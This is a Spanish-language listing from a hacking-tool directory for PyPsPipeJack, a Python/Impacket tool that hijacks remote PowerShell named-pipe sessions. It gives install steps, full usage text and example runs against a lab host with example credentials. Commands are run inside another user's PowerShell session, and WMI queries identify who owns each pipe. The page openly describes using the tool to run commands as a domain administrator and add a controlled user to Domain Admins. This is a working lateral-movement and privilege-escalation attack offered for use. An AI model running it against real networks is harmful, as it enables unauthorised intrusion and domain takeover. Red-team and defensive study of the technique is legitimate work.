Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PyPsPipeJack — Python implementation of OpenPsPipeJack | Kitploit
Herramientas/GitHubGitHub/e-fin/pypspipejack
Privilege EscalationLateral MovementPost-ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHube-fin/pypspipejack

PyPsPipeJack

Python implementation of OpenPsPipeJack

Ver Repositorio
202hace 11 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PyPsPipeJack

Esta herramienta es la continuación de mi otra herramienta, OpenPsPipeJack. Esta versión está basada en Python y funciona en Linux utilizando principalmente Impacket.

En resumen, si tienes administrador local en un host remoto, puedes conectarte a sesiones remotas de PowerShell en ese host y ejecutar comandos dentro de esas sesiones de PowerShell. Esto no solo brinda oportunidades de movimiento lateral, sino también de escalada de privilegios. Por ejemplo, si obtienes acceso de administrador local mediante algo como RBCD, Shadow Credentials, etc., y hay un administrador de dominio en el host remoto con una sesión de PowerShell abierta, puedes ejecutar comandos como el administrador de dominio y agregar un usuario que controles al grupo Domain Admins.

Instalación

root@kitploit:~
git clone https://github.com/e-fin/PyPsPipeJack.git
cd PyPsPipeJack
python3 -m venv .
source bin/activate
python3 -m pip install -r requirements

Uso

root@kitploit:~
usage: PyPsPipeJack.py [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [--list] [--pipe PIPE] [--command COMMAND] [--script SCRIPT] target

PowerShell Pipe Jacker

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

PowerShell Pipes:
  --list                list PSHost pipes and exit
  --pipe PIPE           full pipe name under IPC$ to connect to
  --command COMMAND     run one command and exit (non-interactive)
  --script SCRIPT       run entire PS1 file

Ejemplos

Listar canales PSHost remotos (Credenciales)

root@kitploit:~
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --list

PSHost pipes on target:
   PSHost.134296493751823186.13108.DefaultAppDomain.powershell

Listar canales PSHost remotos (Kerberos)

root@kitploit:~
$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --list      
  
PSHost pipes on target:
   PSHost.134296493751823186.13108.DefaultAppDomain.powershell

Conectar a canal PSHost remoto (Credenciales)

root@kitploit:~
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'

LAB\administrator

Conectar a canal PSHost remoto (Kerberos)

root@kitploit:~
$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'

LAB\administrator

Conectar a canal PSHost remoto INTERACTIVO

root@kitploit:~
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell   

Connected. Enter PowerShell commands; 'exit' to quit.
PS> whoami
lab\administrator
PS> $i = "hello"
PS> echo $i
hello
PS> 

Conectar a canal PSHost remoto y ejecutar script PS1

root@kitploit:~
$ cat test.ps1                                
echo hello
echo hello2
whoami
ipconfig

$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --script test.ps1

hello
hello2
lab\administrator

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : lab.local
   Link-local IPv6 Address . . . . . : fe80::f0d3:c6c2:48ad:94f5%13
   IPv4 Address. . . . . . . . . . . : 192.168.1.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::20c:29ff:fe9d:a180%13
                                       192.168.1.1


Descubrir qué usuario es dueño del canal de PowerShell sin ejecutar comandos (WMIQUERY)

No es necesario ejecutar whoami, ni ningún comando de PowerShell para ver a quién pertenece el canal de PowerShell. Podemos comprobarlo con wmiquery.py de Impacket. El lenguaje de consulta WMI está enormemente infravalorado.

Estos son los comandos que necesitas ejecutar, con un ejemplo de captura de pantalla:

root@kitploit:~
## Replace 13108 with PID from PSHost Pipe
# Example: PSHost.134296493751823186.13108.DefaultAppDomain.powershell

WQL> ASSOCIATORS OF {Win32_Process.Handle="13108"} WHERE AssocClass=Win32_SessionProcess

WQL> SELECT * FROM Win32_LoggedOnUser

Alt text

Pendientes

  • Permitir la ejecución de un archivo PowerShell completo
  • Consola interactiva de PowerShell
  • Buscar una mejor forma de determinar a quién pertenece el canal PSHost
Descargar herramienta